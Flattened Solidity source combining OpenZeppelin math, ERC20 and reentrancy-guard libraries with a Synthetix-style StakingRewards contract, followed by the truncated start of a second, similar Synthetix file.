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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/Rewards/Synthetix/StakingRewards.sol pragma solidity ^0.6.12; // Inheritance // import "./interfaces/IStakingRewards.sol"; // import "./RewardsDistributionRecipient.sol"; // import "./Pausable.sol"; // import "./Owned.sol"; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/Pausable abstract contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } // https://docs.synthetix.io/contracts/RewardsDistributionRecipient abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external override nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // If it's SNX we have to query the token symbol to ensure its not a proxy or underlying bool isSNX = (keccak256(bytes("SNX")) == keccak256(bytes(ERC20(tokenAddress).symbol()))); // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken) && !isSNX, "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( periodFinish == 0 || block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }

True

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/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because 